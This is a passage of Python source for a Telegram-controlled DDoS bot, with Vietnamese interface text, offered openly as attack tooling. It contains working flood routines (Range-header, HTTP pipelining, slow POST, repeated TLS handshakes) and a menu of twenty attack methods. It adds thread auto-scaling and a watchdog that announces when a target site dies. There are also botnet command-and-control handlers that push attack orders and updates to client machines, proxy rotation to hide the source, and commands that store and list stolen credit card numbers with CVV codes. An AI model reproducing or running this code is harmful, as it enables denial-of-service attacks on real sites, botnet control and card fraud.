- while attacks.get(chat_id, {}).get('active', False):
- try:
- headers = get_headers()
- headers["Range"] = "bytes=0-9,10-19,20-29,30-39,40-49,50-59,60-69,70-79,80-89,90-99"
- session.get(target, headers=headers, timeout=1, proxies=get_random_proxy())
- with lock:
- request_counts[chat_id] += 10
- except:
- pass
- time.sleep(delay_ms / 1000)
- def pipeline_worker(chat_id, target, delay_ms, worker_id):
- try:
- host = target.replace("https://", "").replace("http://", "").split("/")[0]
- port = 80 if "http://" in target else 443
- while attacks.get(chat_id, {}).get('active', False):
- try:
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.connect((host, port))
- pipeline = b""
- for i in range(100):
- pipeline += f"GET /?r={random.randint(1,999999)} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: {random.choice(USER_AGENTS)}\r\n\r\n".encode()
- sock.send(pipeline)
- sock.close()
- with lock:
- request_counts[chat_id] += 100
- except:
- pass
- time.sleep(delay_ms / 1000)
- except:
- pass
- def slow_request_worker(chat_id, target, delay_ms, worker_id):
- try:
- host = target.replace("https://", "").replace("http://", "").split("/")[0]
- port = 80 if "http://" in target else 443
- while attacks.get(chat_id, {}).get('active', False):
- try:
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.connect((host, port))
- sock.sendto(b"POST / HTTP/1.1\r\nHost: " + host.encode() + b"\r\n", (host, port))
- for i in range(1000):
- sock.sendto(b"X-Data-" + str(i).encode() + b": " + random._urandom(10).hex().encode() + b"\r\n", (host, port))
- time.sleep(0.1)
- sock.close()
- with lock:
- request_counts[chat_id] += 1000
- except:
- pass
- time.sleep(delay_ms / 1000)
- except:
- pass
- def tls_reneg_worker(chat_id, target, delay_ms, worker_id):
- try:
- host = target.replace("https://", "").replace("http://", "").split("/")[0]
- port = 443
- while attacks.get(chat_id, {}).get('active', False):
- try:
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.connect((host, port))
- context = ssl.create_default_context()
- ssock = context.wrap_socket(sock, server_hostname=host)
- for _ in range(20):
- ssock.do_handshake()
- ssock.close()
- with lock:
- request_counts[chat_id] += 20
- except:
- pass
- time.sleep(delay_ms / 1000)
- except:
- pass
- METHODS = {
- "http": http_worker,
- "udp": udp_worker,
- "tcp": tcp_worker,
- "slow": slowloris_worker,
- "https": https_flood_worker,
- "dns": dns_amplification_worker,
- "ntp": ntp_amplification_worker,
- "sslren": ssl_renegotiation_worker,
- "slowread": slow_read_worker,
- "combo": combo_worker,
- "http2": http2_worker,
- "synack": syn_ack_worker,
- "gre": gre_worker,
- "quic": quic_worker,
- "ws": websocket_worker,
- "graphql": graphql_worker,
- "range": range_worker,
- "pipeline": pipeline_worker,
- "slow_adv": slow_request_worker,
- "tls_adv": tls_reneg_worker,
- }
- # ==================== QUẢN LÝ TẤN CÔNG (GIỮ NGUYÊN) ====================
- def start_attack(chat_id, target, workers_count, target_rps, method, duration=0):
- req_per_worker = max(1, target_rps // workers_count)
- delay_ms = max(1, 1000 // req_per_worker)
- request_counts[chat_id] = 0
- attacks[chat_id] = {
- 'active': True,
- 'threads': [],
- 'target': target,
- 'workers': workers_count,
- 'target_rps': target_rps,
- 'method': method,
- 'start_time': time.time(),
- 'max_rps': 0,
- 'total_reqs': 0,
- 'duration': duration
- }
- for i in range(workers_count):
- t = threading.Thread(target=METHODS[method], args=(chat_id, target, delay_ms, i))
- t.daemon = True
- t.start()
- attacks[chat_id]['threads'].append(t)
- def auto_increase():
- while attacks.get(chat_id, {}).get('active', False):
- time.sleep(15)
- if chat_id not in attacks:
- break
- elapsed = time.time() - attacks[chat_id]['start_time']
- total = request_counts.get(chat_id, 0)
- if elapsed < 10:
- continue
- current_rps = int(total / elapsed)
- target_rps_val = attacks[chat_id]['target_rps']
- if current_rps < target_rps_val * 0.7 and attacks[chat_id]['workers'] < 2000:
- new_workers = int(attacks[chat_id]['workers'] * 1.2) + 10
- new_workers = min(new_workers, 2000)
- bot.send_message(chat_id, f"🚀 *TỰ TĂNG WORKER* từ `{attacks[chat_id]['workers']}` lên `{new_workers}` để đạt RPS", parse_mode='Markdown')
- attacks[chat_id]['workers'] = new_workers
- req_per_worker_new = max(1, target_rps_val // new_workers)
- delay_ms_new = max(1, 1000 // req_per_worker_new)
- for _ in range(new_workers - len(attacks[chat_id]['threads'])):
- t = threading.Thread(target=METHODS[method], args=(chat_id, target, delay_ms_new, new_workers))
- t.daemon = True
- t.start()
- attacks[chat_id]['threads'].append(t)
- threading.Thread(target=auto_increase, daemon=True).start()
- logging.info(f"Bắt đầu tấn công {target} - workers: {workers_count} - RPS: {target_rps}")
- return delay_ms
- def stop_attack(chat_id, save_history_flag=True):
- if chat_id not in attacks:
- return False
- attacks[chat_id]['active'] = False
- for t in attacks[chat_id].get('threads', []):
- try:
- t.join(timeout=1)
- except:
- pass
- if save_history_flag and attacks[chat_id].get('total_reqs', 0) > 0:
- add_to_history(
- attacks[chat_id]['target'],
- attacks[chat_id]['total_reqs'],
- attacks[chat_id]['max_rps'],
- int(time.time() - attacks[chat_id]['start_time']),
- attacks[chat_id]['workers'],
- attacks[chat_id]['method'],
- attacks[chat_id]['target_rps']
- )
- del attacks[chat_id]
- return True
- # ==================== LỆNH TELEGRAM (GIỮ NGUYÊN + THÊM LỆNH MỚI) ====================
- def is_admin(user_id):
- return user_id == ADMIN_ID
- def is_logged_in(user_id):
- return logged_in.get(user_id, False)
- @bot.message_handler(commands=['login'])
- def cmd_login(message):
- user_id = message.from_user.id
- if not is_admin(user_id):
- bot.reply_to(message, "❌ Bạn không có quyền admin!")
- return
- args = message.text.split()
- if len(args) < 2:
- bot.reply_to(message, "❌ /login <mật_khẩu>\nVD: /login 7788")
- return
- if args[1] == ADMIN_PASSWORD:
- logged_in[user_id] = True
- bot.reply_to(message, "✅ Đăng nhập thành công! Bạn có thể dùng các lệnh bot.")
- logging.info(f"Admin {user_id} đã đăng nhập")
- else:
- bot.reply_to(message, "❌ Sai mật khẩu!")
- @bot.message_handler(commands=['logout'])
- def cmd_logout(message):
- user_id = message.from_user.id
- if is_admin(user_id):
- logged_in[user_id] = False
- bot.reply_to(message, "🔒 Đã đăng xuất. Cần đăng nhập lại để dùng lệnh.")
- logging.info(f"Admin {user_id} đã đăng xuất")
- else:
- bot.reply_to(message, "❌ Không có quyền.")
- @bot.message_handler(commands=['start'])
- def cmd_start(message):
- user_id = message.from_user.id
- if not is_admin(user_id):
- bot.reply_to(message, "❌ Bạn không có quyền sử dụng bot này!")
- return
- bot.reply_to(message, """
- 💀 *NULLZEREPTOOL - SIÊU DDOS BOT (NÂNG CẤP TỐI ĐA)* 💀
- ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- 🔐 *ĐĂNG NHẬP TRƯỚC KHI DÙNG:*
- /login 7788
- 📜 *DANH SÁCH LỆNH:*
- 🔥 *TẤN CÔNG:*
- /attack <url> <workers> <rps> <method> [time]
- /stop
- /stats
- 🔄 *PROXY:*
- /proxy update
- /proxy list
- 🔑 *QUẢN LÝ KEY:*
- /key [days]
- /keys
- /delkey <key>
- 📜 *LỊCH SỬ:*
- /history
- 🤖 *BOTNET NÂNG CẤP:*
- /listbots - Xem danh sách client
- /botcmd attack <url> <workers> <rps> <method> <duration> - Ra lệnh cho client
- /botcmd stop - Hủy lệnh
- /broadcast <tin nhắn> - Gửi tin nhắn đến client
- /update_client - Yêu cầu client cập nhật code
- 📊 *THỐNG KÊ & TIỆN ÍCH:*
- /chart - Biểu đồ RPS
- /deploy - Hướng dẫn deploy 24/7
- /version - Xem phiên bản
- /update - Cập nhật bot
- 💳 *CVV:*
- /cvv <cc> <cvv> <exp> - Lưu thông tin CVV
- /getcvv - Xem danh sách CVV
- 🚀 *CÁC METHOD CÓ SẴN:*
- http, udp, tcp, slow, https, dns, ntp, sslren, slowread, combo
- http2, synack, gre, quic, ws, graphql, range, pipeline, slow_adv, tls_adv
- 💀 *COMBO LÀ MẠNH NHẤT!*
- """, parse_mode='Markdown')
- # ==================== LỆNH HELP (ĐÃ SỬA LẠI HOÀN TOÀN) ====================
- @bot.message_handler(commands=['help'])
- def cmd_help(message):
- user_id = message.from_user.id
- if not is_admin(user_id):
- bot.reply_to(message, "❌ Bạn không có quyền sử dụng bot này!")
- return
- if not is_logged_in(user_id):
- bot.reply_to(message, "🔐 Bạn cần đăng nhập trước! Gõ /login 7788")
- return
- bot.reply_to(message, """
- 💀 *HƯỚNG DẪN SỬ DỤNG BOT* 💀
- 🔐 `/login 7788` - Đăng nhập
- 🔥 *TẤN CÔNG:*
- `/attack <url> <workers> <rps> <method> [time]`
- `/stop` - Dừng tấn công
- `/stats` - Xem thống kê
- `/history` - Lịch sử tấn công
- 🔄 *PROXY:*
- `/proxy update` - Cập nhật proxy
- `/proxy list` - Danh sách proxy
- 🤖 *BOTNET:*
- `/listbots` - Xem client
- `/botcmd attack <url> <workers> <rps> <method> <duration>`
- `/botcmd stop`
- `/broadcast <tin nhắn>`
- `/update_client`
- 🔑 *KEY:*
- `/key [days]` - Tạo key
- `/keys` - Danh sách key
- `/delkey <key>` - Xóa key
- 📊 *TIỆN ÍCH:*
- `/chart` - Biểu đồ RPS
- `/deploy` - Hướng dẫn deploy
- `/version` - Phiên bản
- `/update` - Cập nhật bot
- 💳 *CVV:*
- `/cvv <cc> <cvv> <exp>` - Lưu thông tin
- `/getcvv` - Xem danh sách
- 💀 *COMBO LÀ MẠNH NHẤT!*
- """, parse_mode='Markdown')
- # ==================== KẾT THÚC SỬA HELP ====================
- @bot.message_handler(commands=['attack'])
- def cmd_attack(message):
- # (Giữ nguyên toàn bộ code cũ của mày, không thay đổi)
- user_id = message.from_user.id
- if not is_admin(user_id):
- bot.reply_to(message, "❌ Bạn không có quyền!")
- return
- if not is_logged_in(user_id):
- bot.reply_to(message, "🔐 Bạn cần đăng nhập trước! Gõ /login 7788")
- return
- if is_rate_limited(user_id):
- bot.reply_to(message, "⏰ Bạn đang gửi quá nhiều lệnh, hãy thử lại sau!")
- return
- chat_id = message.chat.id
- args = message.text.split()
- if len(args) < 5:
- bot.reply_to(message, """
- ❌ *SAI CÚ PHÁP!*
- ━━━━━━━━━━━━━
- /attack <url> <workers> <rps> <method> [time]
- 📌 *VÍ DỤ:*
- /attack https://example.com 500 100000 combo
- /attack https://example.com 200 50000 http 60
- ⚙️ *WORKERS:* 1-1000
- 💥 *RPS:* 1000-200000
- 🔥 *METHOD:* combo, http, udp, tcp, slow, https, dns, ntp, sslren, slowread, http2, synack, gre, quic, ws, graphql, range, pipeline, slow_adv, tls_adv
- ⏱️ *TIME:* 0 = chạy đến khi stop (mặc định)
- """, parse_mode='Markdown')
- return
- target = args[1]
- if not target.startswith(('http://', 'https://')):
- target = 'http://' + target
- try:
- workers = int(args[2])
- if workers < 1 or workers > 1000:
- raise ValueError
- except:
- bot.reply_to(message, "❌ Worker phải từ 1 đến 1000!")
- return
- try:
- target_rps = int(args[3])
- if target_rps < 100 or target_rps > 200000:
- raise ValueError
- except:
- bot.reply_to(message, "❌ RPS phải từ 100 đến 200000!")
- return
- method = args[4].lower()
- if method not in METHODS:
- bot.reply_to(message, f"❌ Method '{method}' không hợp lệ!\nCác method có sẵn: {', '.join(METHODS.keys())}")
- return
- attack_time = 0
- if len(args) > 5:
- try:
- attack_time = int(args[5])
- if attack_time < 0:
- attack_time = 0
- except:
- pass
- if chat_id in attacks and attacks[chat_id].get('active', False):
- bot.reply_to(message, "⚠️ Đang có một đợt tấn công! Dùng /stop để dừng trước.")
- return
- if not is_web_alive(target):
- bot.reply_to(message, f"⚠️ *CẢNH BÁO:* Target `{target}` không phản hồi! Vẫn tiếp tục tấn công?", parse_mode='Markdown')
- if not proxy_list:
- bot.reply_to(message, "🔄 Đang cập nhật proxy...")
- update_proxy_list()
- delay_ms = start_attack(chat_id, target, workers, target_rps, method, attack_time)
- method_names = {
- "http": "HTTP Flood (GET+POST+HEAD+OPTIONS)",
- "udp": "UDP Flood (Layer 4)",
- "tcp": "TCP Flood",
- "slow": "Slowloris",
- "https": "HTTPS Flood (SSL)",
- "dns": "DNS Amplification",
- "ntp": "NTP Amplification",
- "sslren": "SSL Renegotiation",
- "slowread": "Slow Read Attack",
- "combo": "COMBO MAX (HTTP+UDP+TCP)",
- "http2": "HTTP/2 Flood",
- "synack": "SYN-ACK Flood",
- "gre": "GRE Flood",
- "quic": "QUIC Flood",
- "ws": "WebSocket Flood",
- "graphql": "GraphQL Flood",
- "range": "Range Header Flood",
- "pipeline": "HTTP Pipelining",
- "slow_adv": "Slow Request Advanced",
- "tls_adv": "TLS Renegotiation Advanced",
- }
- response = f"""
- ✅ *ĐÃ BẮT ĐẦU TẤN CÔNG!*
- ━━━━━━━━━━━━━━━━━━━━
- 🎯 *Target:* `{target}`
- ⚙️ *Workers:* `{workers}`
- 💥 *RPS mục tiêu:* `{target_rps}`
- 🔥 *Method:* `{method_names.get(method, method.upper())}`
- ⏱️ *Delay/worker:* `{delay_ms}ms`
- 🔄 *Proxy:* `{len(proxy_list)}` proxy
- """
- if attack_time > 0:
- response += f"⏰ *Tự động dừng sau:* `{attack_time} giây`\n"
- response += """
- 📊 Theo dõi: /stats
- 🛑 Dừng: /stop
- """
- bot.reply_to(message, response, parse_mode='Markdown')
- if attack_time > 0:
- def auto_stop():
- time.sleep(attack_time)
- if chat_id in attacks and attacks[chat_id].get('active', False):
- total = request_counts.get(chat_id, 0)
- if attacks[chat_id].get('total_reqs', 0) == 0:
- attacks[chat_id]['total_reqs'] = total
- stop_attack(chat_id)
- bot.send_message(chat_id, f"⏰ *TỰ ĐỘNG DỪNG SAU {attack_time}s*\n📨 Tổng request: {total:,}", parse_mode='Markdown')
- threading.Thread(target=auto_stop, daemon=True).start()
- def report_loop():
- last_req = 0
- last_time = time.time()
- while chat_id in attacks and attacks[chat_id].get('active', False):
- time.sleep(20)
- if chat_id in attacks and attacks[chat_id].get('active', False):
- current_req = request_counts.get(chat_id, 0)
- current_time = time.time()
- elapsed = current_time - last_time
- if elapsed > 0:
- current_rps = int((current_req - last_req) / elapsed)
- if current_rps > attacks[chat_id].get('max_rps', 0):
- attacks[chat_id]['max_rps'] = current_rps
- attacks[chat_id]['total_reqs'] = current_req
- bot.send_message(chat_id, f"""
- 📊 *BÁO CÁO ĐỊNH KỲ*
- ━━━━━━━━━━━━━━━
- 📨 Tổng request: `{current_req:,}`
- ⚡ RPS hiện tại: `{current_rps}`
- 🏆 RPS cao nhất: `{attacks[chat_id]['max_rps']}`
- 🎯 RPS mục tiêu: `{target_rps}`
- 🔥 Method: `{method.upper()}`
- """, parse_mode='Markdown')
- last_req = current_req
- last_time = current_time
- threading.Thread(target=report_loop, daemon=True).start()
- def web_watchdog():
- while chat_id in attacks and attacks[chat_id].get('active', False):
- time.sleep(5)
- if not is_web_alive(target):
- if chat_id in attacks and attacks[chat_id].get('active', False):
- total = request_counts.get(chat_id, 0)
- bot.send_message(chat_id, f"💀 *WEB ĐÃ CHẾT!*\n📨 Tổng request: {total:,}", parse_mode='Markdown')
- stop_attack(chat_id)
- break
- threading.Thread(target=web_watchdog, daemon=True).start()
- @bot.message_handler(commands=['stop'])
- def cmd_stop(message):
- # (Giữ nguyên)
- user_id = message.from_user.id
- if not is_admin(user_id):
- bot.reply_to(message, "❌ Không có quyền!")
- return
- if not is_logged_in(user_id):
- bot.reply_to(message, "🔐 Cần đăng nhập! /login 7788")
- return
- chat_id = message.chat.id
- if chat_id not in attacks or not attacks[chat_id].get('active', False):
- bot.reply_to(message, "ℹ️ Không có đợt tấn công nào đang chạy!")
- return
- total_reqs = request_counts.get(chat_id, 0)
- max_rps = attacks[chat_id].get('max_rps', 0)
- target = attacks[chat_id].get('target', 'Unknown')
- workers = attacks[chat_id].get('workers', 0)
- target_rps = attacks[chat_id].get('target_rps', 0)
- method = attacks[chat_id].get('method', 'unknown')
- duration = int(time.time() - attacks[chat_id].get('start_time', time.time()))
- attacks[chat_id]['total_reqs'] = total_reqs
- attacks[chat_id]['max_rps'] = max_rps
- stop_attack(chat_id)
- bot.reply_to(message, f"""
- 🛑 *ĐÃ DỪNG TẤN CÔNG*
- ━━━━━━━━━━━━━━━━━━
- 🎯 *Target:* `{target}`
- 📨 *Tổng request:* `{total_reqs:,}`
- 🏆 *RPS cao nhất:* `{max_rps}`
- 💥 *RPS mục tiêu:* `{target_rps}`
- ⚙️ *Workers:* `{workers}`
- 🔥 *Method:* `{method.upper()}`
- ⏱️ *Thời gian:* `{duration}s`
- """, parse_mode='Markdown')
- @bot.message_handler(commands=['stats'])
- def cmd_stats(message):
- # (Giữ nguyên)
- user_id = message.from_user.id
- if not is_admin(user_id):
- bot.reply_to(message, "❌ Không có quyền!")
- return
- if not is_logged_in(user_id):
- bot.reply_to(message, "🔐 Cần đăng nhập! /login 7788")
- return
- chat_id = message.chat.id
- if chat_id not in attacks or not attacks[chat_id].get('active', False):
- bot.reply_to(message, "ℹ️ Không có đợt tấn công nào đang chạy!")
- return
- total_reqs = request_counts.get(chat_id, 0)
- elapsed = max(1, int(time.time() - attacks[chat_id]['start_time']))
- current_rps = total_reqs // elapsed
- max_rps = attacks[chat_id].get('max_rps', 0)
- bot.reply_to(message, f"""
- 📊 *THỐNG KÊ CHI TIẾT*
- ━━━━━━━━━━━━━━━━━━
- 🎯 *Target:* `{attacks[chat_id]['target']}`
- 📨 *Tổng request:* `{total_reqs:,}`
- ⚡ *RPS hiện tại:* `{current_rps}`
- 🏆 *RPS cao nhất:* `{max_rps}`
- 🎯 *RPS mục tiêu:* `{attacks[chat_id]['target_rps']}`
- ⚙️ *Workers:* `{attacks[chat_id]['workers']}`
- 🔥 *Method:* `{attacks[chat_id]['method'].upper()}`
- ⏱️ *Thời gian:* `{elapsed}s`
- """, parse_mode='Markdown')
- @bot.message_handler(commands=['history'])
- def cmd_history(message):
- # (Giữ nguyên)
- user_id = message.from_user.id
- if not is_admin(user_id):
- bot.reply_to(message, "❌ Không có quyền!")
- return
- if not is_logged_in(user_id):
- bot.reply_to(message, "🔐 Cần đăng nhập! /login 7788")
- return
- history = load_history()
- if not history:
- bot.reply_to(message, "📭 Chưa có lịch sử tấn công nào!")
- return
- text = "📜 *LỊCH SỬ TẤN CÔNG*\n━━━━━━━━━━━━━━━━━━\n\n"
- for i, item in enumerate(history[:15], 1):
- text += f"{i}. 🎯 `{item['target'][:50]}`\n"
- text += f" 📨 `{item['requests']:,}` req | 🚀 `{item['max_rps']}` rps\n"
- text += f" ⚙️ `{item['workers']}` workers | ⏱️ `{item['duration']}`s\n"
- text += f" 🔥 `{item['method'].upper()}` | 🎯 `{item.get('rps_target', 'N/A')}` rps\n"
- text += f" 📅 `{item['time']}`\n"
- if item.get('web_died'):
- text += f" 💀 *WEB ĐÃ CHẾT*\n"
- text += "\n"
- bot.reply_to(message, text, parse_mode='Markdown')
- @bot.message_handler(commands=['proxy'])
- def cmd_proxy(message):
- # (Giữ nguyên)
- user_id = message.from_user.id
- if not is_admin(user_id):
- bot.reply_to(message, "❌ Không có quyền!")
- return
- if not is_logged_in(user_id):
- bot.reply_to(message, "🔐 Cần đăng nhập! /login 7788")
- return
- args = message.text.split()
- if len(args) < 2:
- bot.reply_to(message, f"""
- 📡 *PROXY MANAGEMENT*
- ━━━━━━━━━━━━━━━━━━
- 📡 *Số proxy:* `{len(proxy_list)}`
- 🔧 *LỆNH:*
- /proxy update - Cập nhật proxy mới
- /proxy list - Xem danh sách proxy
- """, parse_mode='Markdown')
- return
- if args[1] == "update":
- bot.reply_to(message, "🔄 Đang cập nhật proxy, vui lòng chờ...")
- update_proxy_list()
- bot.reply_to(message, f"✅ Đã cập nhật thành công {len(proxy_list)} proxy!")
- elif args[1] == "list":
- if proxy_list:
- text = "📡 *Danh sách proxy:*\n"
- for i, p in enumerate(proxy_list[:30], 1):
- text += f"{i}. `{p}`\n"
- bot.reply_to(message, text[:4000], parse_mode='Markdown')
- else:
- bot.reply_to(message, "📭 Chưa có proxy nào! Dùng /proxy update để lấy proxy.")
- # === BOTNET: LỆNH QUẢN LÝ CLIENT ===
- @bot.message_handler(commands=['listbots'])
- def cmd_listbots(message):
- user_id = message.from_user.id
- if not is_admin(user_id) or not is_logged_in(user_id):
- bot.reply_to(message, "🔐 /login 7788")
- return
- if not botnet_clients:
- bot.reply_to(message, "📭 Chưa có client nào kết nối.")
- return
- text = "📡 *DANH SÁCH CLIENT:*\n"
- for c in botnet_clients:
- text += f"🖥️ `{c['ip']}` - last seen: {int(time.time() - c['last_seen'])}s ago\n"
- bot.reply_to(message, text, parse_mode='Markdown')
- @bot.message_handler(commands=['botcmd'])
- def cmd_botcmd(message):
- user_id = message.from_user.id
- if not is_admin(user_id) or not is_logged_in(user_id):
- bot.reply_to(message, "🔐 /login 7788")
- return
- args = message.text.split()
- if len(args) < 2:
- bot.reply_to(message, "❌ /botcmd <attack/stop> [params...]")
- return
- global current_botnet_command
- if args[1] == "attack":
- if len(args) < 7:
- bot.reply_to(message, "❌ /botcmd attack <url> <workers> <rps> <method> <duration>")
- return
- target = args[2]
- workers = args[3]
- rps = args[4]
- method = args[5]
- duration = args[6]
- current_botnet_command = f"{target}|{workers}|{rps}|{method}|{duration}"
- save_attack(target, workers, rps, method, duration)
- bot.reply_to(message, f"✅ Đã gửi lệnh tấn công đến {len(botnet_clients)} client.")
- def reset_cmd():
- time.sleep(60)
- global current_botnet_command
- current_botnet_command = None
- threading.Thread(target=reset_cmd).start()
- elif args[1] == "stop":
- current_botnet_command = None
- bot.reply_to(message, "🛑 Đã hủy lệnh tấn công.")
- else:
- bot.reply_to(message, "❌ /botcmd attack hoặc /botcmd stop")
- @bot.message_handler(commands=['broadcast'])
- def cmd_broadcast(message):
- user_id = message.from_user.id
- if not is_admin(user_id) or not is_logged_in(user_id):
- bot.reply_to(message, "🔐 /login 7788")
- return
- msg = message.text.replace("/broadcast", "").strip()
- if not msg:
- bot.reply_to(message, "❌ /broadcast <tin nhắn>")
- return
- for c in botnet_clients:
- try:
- requests.get(f"http://{c['ip']}:8080/broadcast?msg={msg}", timeout=2)
- except:
- pass
- bot.reply_to(message, f"✅ Đã broadcast đến {len(botnet_clients)} client")
- @bot.message_handler(commands=['update_client'])
- def cmd_update_client(message):
- user_id = message.from_user.id
- if not is_admin(user_id) or not is_logged_in(user_id):
- bot.reply_to(message, "🔐 /login 7788")
- return
- for c in botnet_clients:
- try:
- requests.get(f"http://{c['ip']}:8080/update", timeout=2)
- except:
- pass
- bot.reply_to(message, f"✅ Đã yêu cầu cập nhật client đến {len(botnet_clients)} client")
- # === END BOTNET ===
- @bot.message_handler(commands=['key'])
- def cmd_key(message):
- # (Giữ nguyên)
- user_id = message.from_user.id
- if not is_admin(user_id):
- bot.reply_to(message, "❌ Không có quyền!")
- return
- if not is_logged_in(user_id):
- bot.reply_to(message, "🔐 Cần đăng nhập! /login 7788")
- return
- args = message.text.split()
- days = 30
- if len(args) > 1:
- try:
- days = int(args[1])
- if days < 1 or days > 365:
- days = 30
- except:
- pass
- new_key = create_key(user_id, days)
- bot.reply_to(message, f"""
- 🔑 *KEY MỚI ĐƯỢC TẠO*
- ━━━━━━━━━━━━━━━━
- 🔐 *Key:* `{new_key}`
- 📅 *Hạn sử dụng:* `{days} ngày`
- 💡 *Người tạo:* `{user_id}`
- ⚠️ *Lưu key này để cấp cho người dùng!*
- """, parse_mode='Markdown')
- @bot.message_handler(commands=['keys'])
- def cmd_keys(message):
- # (Giữ nguyên)
- user_id = message.from_user.id
- if not is_admin(user_id):
- bot.reply_to(message, "❌ Không có quyền!")
- return
- if not is_logged_in(user_id):
- bot.reply_to(message, "🔐 Cần đăng nhập! /login 7788")
- return
- keys = load_keys()
- if not keys:
- bot.reply_to(message, "📭 Chưa có key nào!")
- return
- text = "🔑 *DANH SÁCH KEY*\n━━━━━━━━━━━━━━━━\n\n"
- for k, v in keys.items():
- expiry = datetime.fromtimestamp(v['expiry']).strftime("%d/%m/%Y")
- used = len(v.get('used_by', []))
- max_uses = v.get('max_uses', 1)
- text += f"🔐 `{k}`\n 📅 Hết hạn: `{expiry}` | ✅ `{used}/{max_uses}`\n\n"
- if len(text) > 3800:
- text += "...\n(Quá nhiều key, hiển thị một phần)"
- break
- bot.reply_to(message, text, parse_mode='Markdown')
- @bot.message_handler(commands=['delkey'])
- def cmd_delkey(message):
- # (Giữ nguyên)
- user_id = message.from_user.id
- if not is_admin(user_id):
- bot.reply_to(message, "❌ Không có quyền!")
- return
- if not is_logged_in(user_id):
- bot.reply_to(message, "🔐 Cần đăng nhập! /login 7788")
- return
- args = message.text.split()
- if len(args) < 2:
- bot.reply_to(message, "❌ /delkey <key>")
- return
- key = args[1]
- if delete_key(key):
- bot.reply_to(message, f"✅ Đã xóa key `{key}`", parse_mode='Markdown')
- else:
- bot.reply_to(message, "❌ Không tìm thấy key!")
- # === LỆNH MỚI ===
- @bot.message_handler(commands=['chart'])
- def cmd_chart(message):
- user_id = message.from_user.id
- if not is_admin(user_id) or not is_logged_in(user_id):
- bot.reply_to(message, "🔐 /login 7788")
- return
- if message.chat.id not in attacks:
- bot.reply_to(message, "ℹ️ Không có đợt tấn công")
- return
- total = request_counts.get(message.chat.id, 0)
- elapsed = max(1, int(time.time() - attacks[message.chat.id]['start_time']))
- rps = total // elapsed
- plt.figure(figsize=(8, 4))
- plt.bar(['RPS'], [rps], color='red')
- plt.title(f'RPS - {attacks[message.chat.id]["target"][:30]}')
- plt.ylabel('Requests/sec')
- buf = io.BytesIO()
- plt.savefig(buf, format='png')
- buf.seek(0)
- bot.send_photo(message.chat.id, buf, caption=f"📊 RPS: {rps}")
- @bot.message_handler(commands=['deploy'])
- def cmd_deploy(message):
- user_id = message.from_user.id
- if not is_admin(user_id) or not is_logged_in(user_id):
- bot.reply_to(message, "🔐 /login 7788")
- return
- bot.reply_to(message, """
- 🚀 *DEPLOY 24/7 MIỄN PHÍ*
- 1. Push code lên GitHub
- 2. Đăng ký render.com
- 3. Tạo Web Service, start: python bot.py
- 4. Thêm biến: BOT_TOKEN, ADMIN_ID
- 5. Dùng UptimeRobot ping URL mỗi 5 phút
- 💀 Bot chạy 24/7 không cần máy!
- """, parse_mode='Markdown')
- @bot.message_handler(commands=['version'])
- def cmd_version(message):
- user_id = message.from_user.id
- if not is_admin(user_id) or not is_logged_in(user_id):
- bot.reply_to(message, "🔐 /login 7788")
- return
- text = f"🤖 Bot version: {CURRENT_VERSION}\n📡 Client count: {len(botnet_clients)}\n🔌 Proxy count: {len(proxy_list)}"
- bot.reply_to(message, text)
- @bot.message_handler(commands=['update'])
- def cmd_update(message):
- user_id = message.from_user.id
- if not is_admin(user_id) or not is_logged_in(user_id):
- bot.reply_to(message, "🔐 /login 7788")
- return
- bot.reply_to(message, "🔄 Đang kiểm tra phiên bản mới...")
- try:
- resp = requests.get(GITHUB_REPO, timeout=10)
- if resp.status_code == 200:
- new_version = None
- for line in resp.text.split('\n'):
- if 'CURRENT_VERSION =' in line and '"' in line:
- new_version = line.split('"')[1]
- break
- if new_version and new_version != CURRENT_VERSION:
- with open(__file__, 'w') as f:
- f.write(resp.text)
- bot.reply_to(message, f"✅ Cập nhật lên v{new_version}, đang restart...")
- os.execv(sys.executable, [sys.executable] + sys.argv)
- else:
- bot.reply_to(message, "✅ Đã là bản mới nhất")
- else:
- bot.reply_to(message, "❌ Lỗi kết nối GitHub")
- except Exception as e:
- bot.reply_to(message, f"❌ Lỗi: {e}")
- @bot.message_handler(commands=['cvv'])
- def cmd_cvv(message):
- user_id = message.from_user.id
- if not is_admin(user_id) or not is_logged_in(user_id):
- bot.reply_to(message, "🔐 /login 7788")
- return
- args = message.text.split()
- if len(args) < 4:
- bot.reply_to(message, "❌ /cvv <cc> <cvv> <exp>\nVD: /cvv 4111111111111111 123 12/25")
- return
- cc = args[1]
- cvv = args[2]
- exp = args[3]
- save_cvv(cc, cvv, exp)
- bot.reply_to(message, f"✅ Đã lưu thông tin!\n💳 CC: {cc}\n🔑 CVV: {cvv}\n📅 Exp: {exp}")
- @bot.message_handler(commands=['getcvv'])
- def cmd_getcvv(message):
- user_id = message.from_user.id
- if not is_admin(user_id) or not is_logged_in(user_id):
- bot.reply_to(message, "🔐 /login 7788")
- return
- conn = sqlite3.connect('c2.db')
- c = conn.cursor()
- c.execute("SELECT * FROM cvv_logs ORDER BY id DESC LIMIT 20")
- rows = c.fetchall()
- conn.close()
- if not rows:
- bot.reply_to(message, "📭 Chưa có dữ liệu CVV")
- return
- text = "💳 *DANH SÁCH CVV THU THẬP*\n━━━━━━━━━━━━━━━━━━\n"
- for row in rows:
- text += f"🔹 CC: {row[1]}\n CVV: {row[2]} | Exp: {row[3]}\n 📅 {row[4]}\n\n"
- bot.reply_to(message, text[:4000], parse_mode='Markdown')
- # === TỰ ĐỘNG RESET PROXY KHI HẾT ===
- def auto_refresh_proxy():
- """Tự động cập nhật proxy khi số lượng proxy dưới ngưỡng"""
- global proxy_list
- while True:
- time.sleep(300) # Kiểm tra mỗi 5 phút
- if len(proxy_list) < 20:
- logging.warning(f"⚠️ Chỉ còn {len(proxy_list)} proxy, đang cập nhật...")
- update_proxy_list()
- else:
- logging.info(f"✅ Proxy ổn định: {len(proxy_list)} proxy")
- # Khởi chạy luồng tự động cập nhật proxy
- threading.Thread(target=auto_refresh_proxy, daemon=True).start()
- # ==================== LỆNH FALLBACK (LUÔN Ở CUỐI CÙNG) ====================
- @bot.message_handler(func=lambda m: True)
- def echo_all(message):
- user_id = message.from_user.id
- if not is_admin(user_id):
- bot.reply_to(message, "❌ Bạn không có quyền sử dụng bot này!")
- return
- bot.reply_to(message, """
- 🤖 *LỆNH KHÔNG HỢP LỆ!*
